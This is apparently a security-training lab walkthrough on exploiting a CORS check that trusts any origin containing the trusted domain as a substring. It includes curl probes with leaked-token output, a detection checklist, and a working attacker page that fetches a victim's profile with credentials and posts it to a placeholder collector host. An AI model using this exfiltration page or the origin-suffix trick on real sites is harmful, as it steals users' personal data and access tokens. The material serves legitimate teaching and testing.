CORS — the substring allow-list

Cross-Origin Resource Sharing
log in

Lab credentials: admin / password. Session cookie cors27_auth (SameSite=None; Secure, same posture as Lab 26 — credentialed cross-site requests can carry it, HTTP pages cannot).

Method — finding the crack in the check
  1. First sign of protection: add Origin: test.com in repeater and resend — the reply's access-control-allow-origin is the app's own domain, not your header. The check exists. Do not stop.
  2. Probe with the trusted domain itself: Origin: https://stuxnet.pro → allowed (of course). Then a subdomain: https://sub.stuxnet.pro → also allowed. An exact-domain check would refuse an unknown subdomain — allowing any subdomain is your hint the developer is matching a string against the origin, not comparing the domain.
  3. The suffix attack: https://stuxnet.pro.evil.com — a host you fully control on a domain you own, which merely contains the trusted string. → allowed, and access-control-allow-origin echoes it. You can create any "subdomain of yours" whose name contains the string, and the app calls it trusted.
  4. Attack page: host the Lab 26-style fetch on that host. In the attacker's own logs you'll see two requests — the credentialed /me (success, JSON in hand) and the /save POST that keeps the username, email and token. Same exfil shape as the last lab; the only difference was getting past the gate.
  5. Lesson checklist (the hunter habit): access-control-allow-credentials: true is the single most directing header — a strong indicator a CORS misconfiguration exists. Tamper the Origin next — and reject nothing until you've established the check compares the domain in its entirety rather than a small string inside it.
  6. Severity by data (lesson's own framing): personal information → medium; access tokens you can replay against the application → critical. Our reply carries a token, so say which it'd be.

The classroom loop: your "attacker domain" is any host you control whose full name contains the trusted string (buy suffix-style or make stuxnet.pro.attacker-domain.you). Same HTTPS rule as Lab 26 — HTTP pages can't send the cookie.

Spoiler — the origin experiment matrix (curl)
# 1 — untrusted → answered with the app's own domain (the "protection")
curl -s -m 15 'https://stuxnet.pro/cors/lab27/me.php' \
  -H 'Origin: https://test.com' -i | grep -i access-control
→ access-control-allow-origin: https://stuxnet.pro
→ access-control-allow-credentials: true

# 2 — the trusted domain, any subdomain → echoed
... -H 'Origin: https://sub.stuxnet.pro'
→ access-control-allow-origin: https://sub.stuxnet.pro

# 3 — THE FLAW: your own host that contains the string
... -H 'Origin: https://stuxnet.pro.evil.com' -b 'cors27_auth=1'
→ access-control-allow-origin: https://stuxnet.pro.evil.com
→ {"username":"admin","email":"admin@example-app.com","token":"eyJ…"}

One pattern, three classes: rejected-to-default, trusted-prefix echo, attacker suffix echo. If curl is all you can run, this matrix is the proof.

Spoiler — the attacker page + hosting note
<!DOCTYPE html>
<script>
fetch('https://stuxnet.pro/cors/lab27/me.php', {
  credentials: 'include'
})
.then(r => r.json())
.then(d => {
  fetch('https://YOUR-COLLECTOR/save', {
    method: 'POST',
    body: JSON.stringify(d)
  });
});
</script>

Identical to the Lab 26 exploit except where it lives: host it at https://stuxnet.pro.attacker-domain.test/ — a host under your registration whose name contains the trusted string. Sub-string matching doesn't care whose registration it is. Bonus "small details": the check accepts evilstuxnet.pro without any dot before the string at all — substring matching is sloppy in every direction (decide whether to mention siblings in your report; don't stack them — one proof is enough).

Spoiler — detector recap (both CORS labs, one card)
1. ACK: access-control-allow-credentials: true in any reply
2. Send: Origin: https://your-test.test          → reflected = flaw 1 (Lab 26)
3. Send: Origin: https://app-own-domain.test     → default echo = a check exists → keep going
4. Send: Origin: https://check-string.your-test.test → echoed = flaw 2 (Lab 27)
5. Data decides severity: PII = medium; access token you can replay = critical

Steps 2→4 are a two-probe ladder you can run from repeater on any target. The Allow-Credentials header does the pointing; the Origin ladder settles what kind of flaw it is.